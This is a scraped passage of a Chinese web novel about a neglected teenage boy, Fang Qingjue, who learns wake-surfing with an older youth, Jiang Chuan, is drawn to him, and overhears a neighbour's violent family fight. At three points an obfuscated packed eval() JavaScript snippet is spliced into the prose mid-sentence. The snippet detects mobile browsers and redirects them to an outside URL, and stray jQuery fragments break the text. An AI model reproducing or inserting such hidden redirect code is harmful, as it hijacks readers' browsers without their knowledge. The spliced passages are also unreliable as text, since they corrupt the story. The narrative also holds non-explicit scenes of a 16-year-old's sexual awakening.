一道题做完,门吱呀一声打开了,林真真走进来,说她有事要去澳洲一趟,然后从钱包里抽出来三百元让他留着买菜。 方清珏应了一声:“知道了。” 林真真又嘱咐道:“你哥高三压力大,得多补补营养。每顿都要有牛肉,晚上记得给他热牛奶。” 方清珏垂下眼帘,没什么语气地嗯了一声。 林真真扫了一眼桌上旧到开线的笔袋,又从钱包里抽出来一张毛爷爷放在桌子上,说:“你省着点花。” 方清珏咀嚼的动作停了一下,目光落在那张纸币上,想问这是买菜钱还是零花钱的时候林真真已经走了。 他忙跟出去送,路过书房时,见方程桌子上放着一摞钱。 方清珏脚步一顿,看了几秒林真真下楼的背影,扭头进了书房。 方程正在做数独,好像根本没察觉他进来,表情很专注。方清珏拿起纸币数了数,一共十张。 方程零花钱一千,他零花钱一百。 大抵是空调温度太低,他冷得身子止不住地发抖。 方清珏偏头看向窗外,恰好和刚走出小院转身关门的林真真隔空对视了一眼。 这一眼很短,都没超过一秒林真真就收回了视线,将铁门关阖了。 方清珏陡然攥紧了纸币,用力到纸币变了形。一旁的方程看了一眼他攥成拳头的手,抬头看他,“站这干什么。” 他用力抿了下唇,声音有点颤:“妈什么时候回来?” 方程:“至少得一星期以后。” 闻言,方清珏冷冷地笑了一声,将纸币扔在桌子上,转身出去了。 其实他很清楚,这一切都不怪方程。 毕竟区别对待的人是林真真,方程并没有推波助澜,他只是顺从而已。 再说,他已经有所改变,方清珏能感觉到他在试图修复他们之间的关系。但他还是无法控制地心寒,还是想问一句凭什么。 凭什么。 都是一个妈生的,凭什么他就这么不受待见。 关上书房的门,他贴着墙站在门口,感觉屋里的氧气忽然被抽干了,空气稀薄得喘不上来气,天花板也白得刺眼。 这个家处处都在和他作对。 容不下他。 一秒钟都容不下。 好想走。 好想离开。 方清珏猛地跑了出去。 周末的海角街人很多,他冲出胡同,顺着入海大道往坡下跑,一直跑到浅水湾那块巨大的礁石上。 阳光裹挟着夏日限定的高温,透过云层的缝隙洒落在身上,本应是暖乎乎的。 可方清珏却觉得冷。 他在礁石上坐下来,捡起一块碎石用力扔进了海里,砸出“咚——”的一声。 一声很轻的闷笑从身侧传来,他偏头看过去,见江川不知道什么时候坐在了离他一米远的地方,正歪头看着自己。 几只海鸥从头顶飞过,在他眼里映出自由的剪影,那双琥珀色的瞳眸仿佛盛满了日光,看起来竟比眼前这片湛蓝的海更清澈纯净。 “怎么每次碰见你,你都一副不爽的样子。”江川跳下礁石,走了过来。 为什么每次心情不爽都恰好被他撞见。 方清珏在心里啧了一声,“可能是因为看见你了吧。” 蹲在礁石上的胖子“嘿?”了一声,不乐意道:“你这小孩怎么说话呢!” 方清珏真的啧了一声:“你大?” “川哥你看他!”胖子指着他告状。 江川忍俊不禁地摇了摇头,“成吧,都怪我,那就跟我走吧。” 方清珏想也不想地站了起来:“去哪?” 江川已经走出几步了,闻言回头看过来一眼,眼尾上翘的弧度更深了,“找乐子。” 胖子跟在他身后,有样学样地说:“你不是不爽吗?哥哥们带你去爽爽。” 方清珏:“……” 他本来已经跟着走出去了,听见又坐了回去,说:“那我还是继续不爽吧。” “行了老伍,别逗他了,他该当真了。”江川折回来抓着方清珏的胳膊,将人拽下了礁石。 “我过去说一声。”胖子先走了。 方清珏跟在江川身后,踩着他的脚印沿着沙滩向前走。这会儿时间还早,服务业都刚上班,浅水湾的游客不多,不远处的浮桥那有一个中老年旅行团,正排着队坐游艇。 江川拉着他也走上浮桥,胖子坐在一辆白色快艇里朝他们招手。 方清珏:“你说的找乐子就是这个?” 江川:“是,也不是。” “说人话。” “会冲浪么?” “不会。” 江川回过头用揶揄的目光看着他,像是在说你在海边长大的居然不会冲浪。方清珏立刻移开了视线,假装没看懂他的眼神。 两个人一起上了船,胖子递过来两套救生衣。江川没急着穿,而是走到船头掏出一盒没拆封的烟递给坐在驾驶位的大叔,拍了下他的肩膀,笑着说:“谢了啊,安叔。” “多大点事。”大叔笑着收下烟。 快艇轰隆一声启动,开出大概一百米就在海面上停了下来,江川抱着帆板走到船尾,朝方清珏招了招手:“过来。” “干嘛?”方清珏走过去,像他一样站在船尾的登船点上,还没等站稳,就被一股力量推下了海。 操! 有病吧! 只听扑通一声,方清珏感觉自己完全被海水包裹了,耳边都是咕噜噜的水声。失重感转瞬即逝,还没等大脑反应过来,人已经漂浮在海面上。 即使有浮力支撑,他依旧很紧张,“会下沉”三个字在脑海中挥之不去,越冒越多。 这一刻,恐惧彻底压倒了理智,方清珏下意识看向岸边,见自己离海岸并不远,猜想此处应该是浅水区,暗暗松了一口气。 可他的心脏依旧跳得厉害,几乎快要从嗓子眼里冒出来了。 封闭海底世界的画面从脑海中闪过,他的呼吸越来越急促,四肢仿佛灌了铅,迟钝得不听使唤。 江川弯腰蹲在船尾,笑着问:“刺激么?” 方清珏大脑一片空白,眼神也有点懵,表情更懵,懵得都忘记了骂人。 他深吸一口气,强迫自己不去想深海,也不看海,只盯着江川那双带着笑意的眼眸,好半晌才稍稍缓过劲来。 “……有点。” 江川:“还有更刺激的。” 方清珏想说算了吧,他还想多活几年,就见胖子拿着绳索也走到了船尾。 江川双手抓着绳索,然后又抓住了冲浪板,坐在船尾给他做示范:“一会儿就这么抓,记住了么?我说松开冲浪板时你千万别松开绳子。” 方清珏终于明白他要干什么了,心里的怨气一扫而空,乖乖点了点头。 “好。” 江川将绳子递过来,方清珏两手抓住了。江川又将帆板立起来展示给他看:“看见这两颗螺丝钉了么?一会你两只脚就分别踩在这两个位置。” 方清珏虽然不会冲浪,但自小在海边长大,没少见人冲浪,很多细节他都知道。 所以他啧了一声:“你唐僧转世吧。” “可能是职业病犯了。”江川笑了笑,“和游客是要讲得详细一些。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139903|164475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 原来他在这里做兼职。 方清珏抬手抹了下脸上的海水,“你也把游客往水里推?” “那肯定不敢啊。” “就欺负我是吧?” “自家弟弟欺负欺负怎么了?”江川将帆板扔下海,“抓住,两只脚搭在冲浪板上,就想象你是只四脚朝天的青蛙。” 方清珏照做,却又不忘怼回去:“你才是青蛙。” “不想当青蛙,那你就想象自己是个癞蛤蟆吧。” “你才是癞蛤蟆!” 江川噗嗤一声笑了出来。 方清珏抓着帆板和绳子,双腿弯曲踩着冲浪板,四脚朝天地泡在海里,不知不觉间竟然真的不害怕了,甚至觉得自己这副样子还真挺像一只青蛙。 江川继续指挥:“松开板子,两手抬高。” 方清珏依言照做。 “Great!”江川回头比了个手势,快艇轰隆轰隆地响了起来,尾部带出几道纯白色的浪花。 “收腿,踩住滑板!” 绳子用力带着方清珏向前倾,几乎是在浪花出现的一瞬间,帆板便顺势贴合在脚面,将他整个人拖了起来,方清珏趁机拽住绳子,借力蹲在了滑板上。 蹲在海面上的一瞬间,就像溺水的人终于上了岸,这小小的一块帆板变成了可以供人躲藏与居住的陆地,带给他前所未有的安全感。 紧绷的神经霎时放松下来,方清珏尝试着站起来,听见江川说:“放松,腰挺直,膝盖弯曲。” 方清珏平衡感很好,没有新手第一次上板的紧张和生疏。他主动松开了一只手,试着用膝盖发力控制冲浪的方向。 一直在一旁观察的胖子嚯了一声:“可以啊!以前玩过?” 方清珏摇了摇头。 “那你小子很有冲浪天赋啊。”胖子说,“要不也转行来当体育特长生吧。” “别瞎引导。”江川瞥了他一眼,然后扭过头来对方清珏说:“可以扔绳子了。” 方清珏没听,依旧紧紧地抓着绳子,直到感觉自己能用膝盖控制冲浪方向时才松开。 冲浪板尾随着快艇尾波的浪花前行,如同在海面上滑翔。海风迎面拂过,顷刻间就吹散了烦闷,他深深地吸了一口气,感觉空气里满是自由的味道,耳边瞬间响起了一首歌。 「我像风一样自由」 江川将绳索收了回去,笑着问:“爽吗?” “爽!”方清珏大声喊了出来。 胖子一眨不眨的看着他,发自内心地感慨了一句:“这小子,将来肯定比方程还要帅。” 江川听罢,转头认真打量了一番方清珏,仿佛以前并没有特别注意过他的长相。 几秒后,他颇为认同地点了点头,掏出手机“咔嚓”“咔嚓”地拍了几张照片。 海上冲浪一不小心就会掉进海里,所以方清珏的精神高度集中,目光一直锁定在浪花上。 不知道过了多久,他听见一声口哨,下意识看过去,见江川朝自己竖起了大拇指:“二十分钟了!你小子很持久啊!” 他今天没穿白衬衫,而是随意套了件大领口的白背心,下摆扎进米色休闲裤里,露出修长结实的手臂和很有美感的一字型锁骨。 海风不断吹过的船尾,他的衣服和裤子被吹得猎猎而动,头发也被吹得很乱,遮住了荡漾着水光的眼眸,有种不同寻常的,凌乱的美感。 像文艺片里,被阳光和海浪偏爱的主人公。 方清珏心神一晃,扑通一声掉进了海里。 深蓝色的海水迎面淹来,突如其来的恐惧令他窒息,一想到脚下就是深渊般的海洋,他的四肢再次不受控制地僵硬,紧张到不敢睁眼。 “放轻松,别紧张。”江川的声音飘了过来。 下一秒,有只手托住了他的腰,同时也托住了他无处安放的惶恐与不安。 方清珏试着睁开眼,像溺水的人抓住浮木一样紧紧地搂着江川的脖颈,劫后余生般大喘几口气。 一声很轻很轻的笑响在耳畔,他没由来的有点恼。这一恼,害怕与恐惧反而淡了。 “笑屁!” “你现在不像青蛙了。” 他以为这人又想说自己像癞蛤蟆,正想抢占先机反驳,却感觉什么东西轻轻地扫过耳廓,触感很温润,也很柔软。 方清珏的大脑嗡地一下炸开,顿时忘记了自己要说什么。 “倒像是……” 江川的声音更近了,近得像拂耳而过的晚风,“抱着树干不撒手的考拉。” 14. P.没有如果 方清珏莫名有些耳热,也很难为情。他松开手,身子向后浮,想与江川拉开些距离,至少不要再像考拉似的紧抱着他不放了。 “你反射弧是不是有点长啊,”江川将他捞回怀里,“这么久才不好意思。” “……我会游泳。” 方清珏拍了拍江川的肩膀,示意他松手。 “是吗?”江川半信半疑地放开手,他便像狗刨似的朝快艇游了过去。 快艇已经停了下来,胖子站在船尾,将绳子抛了过来,“哎呀,你这不是会游泳么?刚才咋像傻了似的不动弹了?” “突然就掉下去了,有点没反应过来。”方清珏抓着绳子借力攀上了船。 “瞅把川哥吓得,立刻扎海里救你去了。” “哪有那么夸张。”江川紧跟着上了船,湿透的背心紧贴在身上,勾勒出凹凸有致的肌肉线条和窄腰,“不过确实是怎么喊你都没有反应。” 方清珏像只被大雨淋湿的小狗,从头到脚都在滴水。他攥着衣角用力拧衣服,眉宇间那股“离我远点”的冷淡气息被海水冲淡,就像锋利的沙石被磨平了棱角,变得莫名柔和,还有些可怜。 “我没听到。”他淡淡开口。 “你是不是害怕?”江川不断扒拉着湿漉漉的头发,企图让海风吹干它。 方清珏没说话。 “之前推你下海,你的反应和落水时一样。”江川歪头凑近,“你是不是很怕沉海里上不来?” 方清珏:“……” 他没什么语气地说:“知道还问。” 江川点了点头,用很笃定地语气说:“那我就没猜错,你有深海恐惧症。” “不能吧。”一旁的胖子说,“要是深海恐惧症,刚刚他怎么没事呢?还冲得辣么嗨皮。” “刚刚他也没掉下去啊,有冲浪板托着,就算害怕也能克服。”江川解释,“但掉下去就不一样了。一掉下去就会担心上不来,水越深越害怕。” 快艇掉了个头朝沙滩开过去,胖子拍了一下方清珏的肩膀,“欸,那岂不是很刺激?” “刺激。”方清珏凉嗖嗖地说,“刺激死了。” “本来想让你适应适应就带你去飞风筝的,今天风力刚好合适,可惜了。”江川说。 方清珏:“飞风筝?” “嗯,那个比尾波冲浪刺激一万倍。” 船停靠在浮桥边,方清珏摆了摆手,说那还是算了吧,然后就长腿一迈跟在胖子身后上了岸。 “三三的员工服在店里呢,你两去库房换上吧。”胖子领着他们进了浮桥对面,名字叫追尾的冲浪店。 这里放着不少冲浪用具,也租借露营设备,临海的一面是玻璃墙,贴墙摆放着吧台和高脚凳,像便利店的用餐区,有几个顾客正坐在那里喝冷饮。 江川从收银台下面的柜子里拿出来一件红色polo衫,低头闻了一下,嫌弃地皱了皱眉,然后就把衣服扔在收银台上,说:“算了,你穿我的吧。” 他从柜子里拿出一个塑料购物袋,递了过来。方清珏低头一看,里面放着的也是红色polo衫,但应该洗过,能闻到淡淡的皂香。 江川又从柜子里掏出来一条黑色直筒裤,抓起台面上的那件红色polo衫,转身往后面走,“跟我来。” 方清珏跟在他后面进了库房。 这间屋子很暗,四面墙都叠放着纸箱,只留出一条仅供一人通行的甬道。正对着门的那扇墙上有个长条窄窗,位置比较高,阳光透过窄窗落进来,像一道突兀的丁达尔光束。 江川站在几步之外,将衣服放在面前的纸箱上,低下头,拽着领口把身上那件白背心脱下来,露出沟壑分明的胸腹和紧实漂亮的肌肉。 空气中浮动着细小的尘埃,那张清隽的脸庞也缀着一层淡淡的光。一时间,方清珏竟分不清到底是他在发光,还是他刚好站在了光线中央。 有水滴从他的发梢滴落,沿着麦色肌肤向下流淌,途径腰腹还没有停,引着人往更私密的地方看过去…… 方清珏喉结轻轻滚动一圈,突然就觉得屋子里的空气被抽干了,稀薄得像在外太空。 江川的嘴巴一张一合地说了些什么,但他听不见,眼前的画面仿佛是一场无声的默片电影,而他是唯一的观众。 这让他没由来的有些心虚。 眼看着江川偏过头来,二人目光堪堪撞上,方清珏立马转过身去背对着他,急匆匆地脱掉了身上的T恤衫,心里有些别扭。 他也不知道自己到底在别扭什么,明明大家都是男人,换个衣服而已,按理说也没什么大不了的—— 可他就是觉得哪里不太对。 方清珏拧干T恤衫当做毛巾擦了擦颈窝,脑子里不受控制地放起了电影,而且是放大特写镜头,一会儿是漂亮的肩胛骨,一会儿是性感的腹肌,一会儿是若隐若现的腰窝…… 那一幕幕极具冲击力的画面令他呼吸有些困难,仿佛沉睡在身体里的某只野兽被唤醒了,咆哮得血液都在沸腾。 肩膀倏然被人轻轻地拍了一下,方清珏登时浑身紧绷,慢慢地,慢慢地回过头。 江川已经换好了衣服,普通员工装穿在他身上也很好看,红色衬得他朝气蓬勃,看起来很鲜活,很有少年感。 “让一下。”他说。 方清珏哦了一声,奇怪自己怎么又能听见了,有些木讷地转过身,脊背贴着身后那排纸箱,让出路来。 江川走过去,胳膊肘似有若无地从他胸前擦过,那一瞬间的触感很痒,像有微电流窜过身体,直达心脏,扑通一声跳得又重又响。 走到门口,江川忽然回头,含笑看过来:“你脸怎么这么红?” 方清珏别过脸去,语气莫名有点冲:“风吹的。” “是吗?” “你到底出不出去?” 他脸上没什么表情,唇形平直,凭添几分冷淡和倔强,仿佛看谁都不爽。 江川眉棱一挑,没再说什么,推门走了出去,还很贴心的将门关上了。 他这一走,方清珏顿时觉得放松了不少,那股别扭的感觉也没了。 真是奇怪。 方清珏摇了摇头,心想,可能是怕被这人再从后面推一下吧。 换好衣服出去时,胖子正倚着收银台百无聊赖地玩手机,见他出来,朝后门扬了扬下巴。 方清珏便走了出去。 江川在沙滩上搭了个简易晾衣杆,正用夹子夹晾在上面的衣服。海风一下又一下地吹拂着衣衫,晾衣杆被吹得来回直晃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139904|164475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,幅度很大,仿佛下一秒就会啪叽一下倒在地上。 方清珏:“这能行吗?” 江川:“死马当活马医咯。” 方清珏一脸狐疑地将衣服搭在上面,江川顺手也给他的衣服都夹了夹子,然后坐在门口的长椅上看着晾衣杆,像是真怕它突然倒了。 冲浪店的后门看不见海,但能看见充满烟火气的海角街。 微风轻徐而过,连空气都很宁静,莫名有一种岁月静好的感觉。 方清珏在五颜六色的马卡龙别墅里找到了自己家,然后就盯着那栋水蓝色的房子发呆。没一会儿,兜里的手机震了一下,他掏出来一看,是一条微信消息。 【J:图片】 江川发来一张他冲浪时的照片,拍照技术不错,光影构图很巧妙,光看照片就能感受到踩着浪花飞驰的少年有多恣意。 他长按屏幕,正打算保存,照片就被撤回了。 方清珏:“……” 他扭过头,见江川四仰八叉地瘫在椅子里,头枕着椅背,眼睛闭着,像睡着了似的,便低头回了个问号。 下一秒,江川掏出手机举到眼前,然后他就又收到一条消息。 【J:八十一张】 方清珏走过去,坐在他旁边:“偷拍我还管我要钱?” 江川依旧枕着椅背,头微偏,促狭的目光从眼尾扫过来:“对啊,我就是这么不要face。” 方清珏啧了一声,从网上下载了一张一百元纸币的照片发过去。 【F:图片】 【F:找零20】 江川:“糊弄鬼呢?” “可不是么。”方清珏阴阳怪气地说,“还是个臭不要face的贪财鬼。” “这你就不知道了吧,鬼都不吃鱼。” 方清珏纠正:“我说的是face不是fish。” 江川摆摆手,一本正经地说:“真不吃。” 方清珏:“……” 方清珏:“神经病吧你。” 他语气冷冷淡淡的,脸上没什么表情,眼角眉梢却藏着几许笑意。 认识江川以后,似乎每次闷闷不乐都被很轻易的化解,开心也变得极其容易,简单到一句话,一个动作,一个眼神,他的心就像冒着泡的老汽水咕噜噜地飘了起来。 “憋着干嘛,想笑就笑嘛。”江川坐直了身体,歪头看过来,“成天板着个脸,好运都被吓没了。” 方清珏听罢,不置可否地转过了头。 他们明明坐在背光处,却有一缕阳光贪恋的逗留在江川身上,将那双浅淡的眼照得格外清澈。他的眼神也很干净,眼底掬着再简单不过的笑意,纯净得像一眼能望到底的清泉。 几朵云从天边飘过,在那双清亮的眼中落下拓影,方清珏从他眼中清晰地看见了自己。 这种感觉很奇妙,他忽然想起一句很文艺的话。 「我清楚地看见了你」 经历了十六年被无视,被嘲笑的人生,他终于遇到了一个不带任何有色眼镜,愿意正视他的人。 方清珏的心倏然一动,心道,如果…… 如果他是我哥哥就好了。 可惜远水解不了近火,沧海救不了沙漠,这个世界也没有如果。 15. P.别处生活 林真真出国后,方程回来的一天比一天晚,方清珏不用给他做饭,正好乐得清闲。这晚,他写完作业都十一点多了,方程还没回来。 他冲了个澡上床睡觉,没成想又梦到了冲浪店的库房。与以往不同的是,这回江川脱完白背心没去擦身上的水珠,而是低头去解裤腰带。 皮带锁扣和休闲裤的金属拉链碰撞出细碎的响声,像一双无形的手拨弄着方清珏的心弦,令他感到前所未有的紧张。 江川褪裤腰的动作很慢,像电影里的慢镜头,髋骨旁边的人鱼线在朦胧的光影中渐渐显现完整,方清珏的视线仿佛被黏住了,想收都收不回来。 别…… 别再脱了! 他想喊,却怎么喊都喊不出声音,一着急竟倏地醒了过来,双眼怔忪地看着透过窗倾泻进来的明晃晃的日光。 迎风拂动的纱帘,婆娑起舞的树影和掩藏在树叶簇动的声浪里的蝉鸣…… 一切都仿佛和往日并无差别,好似他只是午憩了片刻,并没有做过那场荒唐的梦。 可突突乱跳的心脏和满是汗珠的脊背又昭示着,在无形之中,好像有什么东西变得不一样了。 他稍稍动了动,然后就睁大了眼睛,猛地坐起来,掀开被子低头看了看。 下一秒,方清珏猛地涨红了脸,跳下床跑了出去。 刚跑出门他又折了回来,从衣柜里拿出一条新内裤,然后一头扎进了洗手间。 洗完澡,盘旋在脸上的那股热意还没有散尽,他低头用力搓着内裤,在衣料摩擦声中听见了方程的声音。 他立刻跟做贼似的冲回自己房间,把内裤挂在衣柜里面,关好柜门,又把椅子往后挪了挪,挡在柜门前,然后才若无其事的走下楼。 方程举着手机站在餐桌前,不知道在和谁讲电话。听见下楼的动静,他抬眼看过来,指了指餐桌就转身进了厨房。 方清珏不明所以地走过去,见桌上摆着一盘油爆虾,整个人顿时跟被雷劈了一样定在原地。 “不用,钱够花。”方程拿着一个大号的乐扣保鲜盒从厨房走出来,保鲜盒里装得满满当当的,都是油爆虾。 他将保鲜盒放进手提袋,看样子是要带到学校,“没什么想要的。” 原来不是特意给他做的,而是放不下了。 方清珏鼓噪的心立刻冷了下去。 方程挂断电话,说:“妈说她还得一周才能回来。” “哦。”方清珏掏出手机看了一眼,干干净净,一条消息也没有。 所以林真真给方程留一千块,是知道自己可能回不来,怕他钱不够用。 那我呢? 就算养条狗,十天半个月看不见也会想吧。 方清珏深吸一口气,感觉心脏被什么东西捅出一个很深的窟窿,汩汩地向外流着血。 “我先走了,厨房还没收拾,你吃完把盘子放水槽里就行,我回来再洗。”方程背起书包往出走。 方清珏看了一眼虾,即便知道答案也还是想问上一遍:“带给你女朋友的?” 方程嗯了一声,“她爱吃。” “那你上次说要吃油爆虾,也是因为她?” 方程开门的动作一顿,回过头来:“那次是因为你。” 所以你知道我爱吃虾啊。 方清珏内心一片悲凉。 方程开门走了,扔下一屋子的静默。他站在餐桌前看着那盘虾,脸上有淡淡的哀伤。很久很久以后,他才收了那副表情,变回那个不屑一顾,仿佛这世间没什么能让他多看一眼的方清珏。 要迟到了。 他去厨房热了一袋牛奶,背着书包也上学去了。 一进班,班级里人就都看了过来,眼神有点不对劲,尤其是陈序,就差在脸上写‘看你不爽‘四个字了。 他拉开椅子坐下来,发现桌洞里放着一个包装很漂亮的礼盒,不知道谁放的。 但冲陈序盯着他看的样子,方清珏心想,这里面不会是死老鼠吧? 幼不幼稚。 他直接将东西扔进了垃圾桶。 初三都是单人单桌,邻桌看见这一幕有点惊讶:“你不看看吗?万一是情书呢?” 方清珏连眼皮都没抬,眉眼冷淡地问:“你写的?” “呵呵,当我没说。”邻桌收回了目光,坐在教室另一头的陈序也转过了头。 初三课业不比高三轻松,方清珏被各科老师压榨得有点烦躁,看见陈序那张欲言又止的脸,破天荒地想去找个茬。 放学后,他买了根冰棍冷静冷静,冷静完才往江川家的理发店走,走着走着,就感觉身后有人跟着。 一回头,就看见一张不自信的脸:“有事?” 小结巴低着头:“那个腕带你,你用了吗?” “什么腕带?” 闻言,她猛地抬起头来,小鹿般的双眼因为吃惊睁得更圆了。 方清珏这才想起来那个礼盒,“那东西是你放我桌里的?” 小结巴又低下了头,“嗯。” 他觉得稀奇,也有点可惜:“你给我这个干嘛?” “谢,谢礼,它对手腕好。” “我什么也没干,你总谢我干嘛。” “我都知,知道了。你去警告了她,她们。”小结巴说着,朝他鞠了一躬,转身跑远了。 方清珏:“……” 他迷茫了几秒才转过身,目光登时和倚着理发店的玻璃门看戏的江川对上了。 江川挑着眉吹了个口哨:“可以啊,十六岁就早恋,比你哥还牛。” 方清珏懒得搭理他,目光一偏,落在玻璃门上扣着的锁头上。 江川顺着他的目光看了一眼,笑着说:“陈阿美女士很喜欢你送的油柑酒,知道你要来立马关店去鱼市买大虾了,说要给你炖海鲜汤。” “那我回家了。”他立刻转身往回走。 江川一把抓住他的书包带:“不就说了你一句,跑什么,你跑了谁来喝那锅汤?” “都说了我问完题就走,不在这吃饭。” “这我可做不了主。” 江川抓着他的书包带子,生拉硬拽地带着他绕过临街的独栋楼,钻进一条胡同,穿过一条铁路。 这是港城仅有的一条铁路,将这个沿海小镇割裂成两部分。 铁轨以南是道南,就是方清珏生活的地方,依山傍海有景区,是港城最繁华的地段。 铁轨以北是道北,遍地都是工厂和筒子楼,处处都是老破小,像个城中村。住这的大多是老一辈下岗厂工,或者外地来打工的农民工,是港城最脏也最乱的地方。 他跟在江川身后拐进一条灰扑扑的街,道路两旁有很多用塑料棚搭出来的卖水果蔬菜的商铺。 这会儿可能是没什么生意,好几个店主都搬着凳子坐在门口聊天,看见江川就笑着和他打招呼,一旁的孩子也喊他小川哥哥,能看出来邻里关系不错。 江川挨个打招呼:“吃了吗?” “还没呢,我家那小崽子不知道跑哪儿去了,就等他回来开饭了。” 前面不远处就有一栋筒子楼,门口有颗大柳树,几个大爷坐在树下纳凉下象棋,还有一群孩子蹲着围在那里,不知道在玩什么。 “我看看在不在前面。”江川说着加快了步伐。 离孩子们挺近但尚有一段距离的时候,他问道:“玩什么呢?” 闻声,小孩子齐齐看了过来,有个小胖子一看见江川立马就跑了。 他走过去,见这帮小孩在玩玻璃弹珠,便抢走了唯一一个小姑娘手里的棒棒糖,举得高高的,不肯还。 小姑娘怎么够都够不着,急得撅起了嘴,江川捏了一下她的脸,把糖还给她:“芳姨不让你吃糖,你还吃。” 小姑娘做了个鬼脸,抓起地上的玻璃球跑远了。一旁的大爷打量着方清珏,目光里满是探究,“诶,这不是方家老二吗?” 路边的店主也在交头接耳: “是那小孩吧?” “瞅着像。” “走吧。”江川侧身挡在他面前。 “没关系,我习惯了。”方清珏没什么语气地说。 这一路走来,人们看过来的眼神都很直白,他们看见的根本不是方清珏,而是传说中那个骗婚杀人犯的儿子。 这种目光他见多了,无论是半截胡同,海角街,学校,还是其他什么地方。港城统共就这么大,没有人不知道他家那点破事,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139905|164475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向他的目光多多少少都别有意味。 除了江川。 虽然说了不用,但江川依旧挡在他前面,一直到走进墙都掉皮了的筒子楼。 他掏出钥匙打开门。 屋里没人,陈婆应该还没回来,江川弯腰拿出一双拖鞋,示意他穿上,领着他进了朝南的那间卧室。 这间屋子挺旧了,但胜在干净,而且有一种淡淡的花香,闻着像是月季,也有点像玫瑰。 靠门右手边的墙上挂着不少乐器,有萧,笛子,吉他,葫芦丝…… 书架上有不少音乐相关的书,最中间的格子空出来单独横放着一把小提琴。 方清珏有点意外。 江川的气质很干净,也很文艺,像春日的雏菊,是天生就适合出现在油画里的人,却没想到他走的是另一个方向。 “你玩音乐?”他问。 印象里,搞音乐的都留着长头发,穿着打着柳丁的皮衣弹吉他,为人处世也很潇洒不羁,反正和江川给人的感觉大相径庭。 江川淡淡地瞥了一眼乐器墙,没什么语气地说:“都是陈阿美女士买的。” 他示意方清珏先坐学习桌那,转身出去了。江川的学习桌也靠窗摆着,透过窗能看见房子前面被篱笆圈出来的地上种着葱,西红柿,还有几排黄瓜,像个农家院似的。 ……把草坪刨了种地,这边的人真够牛的。 方清珏将书包放在椅子上,感觉浮动在空气里的香气变浓了。他扫了一眼书桌,在日历后面看见一罐包装简洁的香薰蜡,和一瓶有着同样简洁包装和船锚标志的香水。 原来不是沐浴露的味道…… 他心里想着,听见身后传来了脚步声。 方清珏赶忙移开视线,见桌子旁边还有一个长方形窄桌,上面罩着一层防尘布。 “这是缝纫机?”他指着那桌子问。 “有这么小的缝纫机吗?”江川手里拿着两瓶可乐,说话时递过来一瓶。 他喝了一口可乐,“那是什么?” “电钢琴。” “阿婆这么喜欢音乐吗?” “可能吧。” 江川兴致缺缺地敛着眉,看起来不太想聊这件事,“都什么题,给我看看。” 方清珏打开方程买的练习册,将空出来的题指给他看。 江川扫了一眼题干:“卷面这么干净,你不会读了两遍发现不会做就直接pass了吧?” “我可没偷懒,”方清珏说,“做了好几遍答案都对不上。” 江川:“在哪儿做的,我看看。” 方清珏抿了抿唇,十分不爽地从书包里抽出草稿本,翻了翻,指着一页,气势十足地说:“你自己看!” 江川歪头扫了一眼,了然道:“怪不得总错,思路就不对。” 他大致讲了一遍方清珏就懂了。改完这道题,他将这几天积攒的题全问了一遍。 江川和理化生全部满分的方程不一样,他没有特别明显的短板,但也没特别突出的优势,每科成绩都优异的很平均。 方清珏从数学问到物理化又问到政治,最后还问了篇英语阅读,然后才开始写作业。 江川也没再说话,屋子里安静的只剩下笔摩擦纸张的白噪音,听起来格外安神。 不知过了多久,天花板咚地一响,传来一个中年男子的谩骂声:“老子生你养你,你就这么和老子说话是吧!” 话音未落,就听见一阵噼里啪啦的声响,像什么东西摔在了地上,随后声音变得更杂了,一听就是家长在殴打孩子:“让你这么和老子说话!” “我-操-你——” 那孩子的骂声戛然而止,听起来有点耳熟,打斗的声音也更大了,像从单方面殴打变成了互搏,中年男人的骂声也渐渐弱了下去。 江川习以为常地拿起桌上的防尘耳塞,递过来,方清珏没接,“他们家经常这样?” 他嗯了一声,“隔三差五就来这么一回。” “操,你他妈就这么对你老子?” “你也知道你是我老子,可你他妈哪有一点做老子的样子!” 这声音…… 方清珏微微睁大眼睛,意外无比地问:“陈序?” 16. P.廉价血亲 夕光透过窗斜落进来,半明半昧的光影衬得江川隐没在阴影中的脸有些暗。 他没什么语气地嗯了一声:“他爸平时挺老实,一喝多就打人,打跑了老婆打孩子。以前陈序念着他爸平时的那点好,挨打也不还手,现在下手比他爸还狠。” 方清珏眨了眨眼,问:“他爸是不是那种脾气很好,挨欺负也不会怎么样的老好人?” “你怎么知道?” 江川立马看了过来。 “一猜就是。”方清珏说,“这种人脾气不是脾气好,而是懦弱,平时都强忍着而已。他清醒时憋了多少气,喝醉后就有多少怨气。” 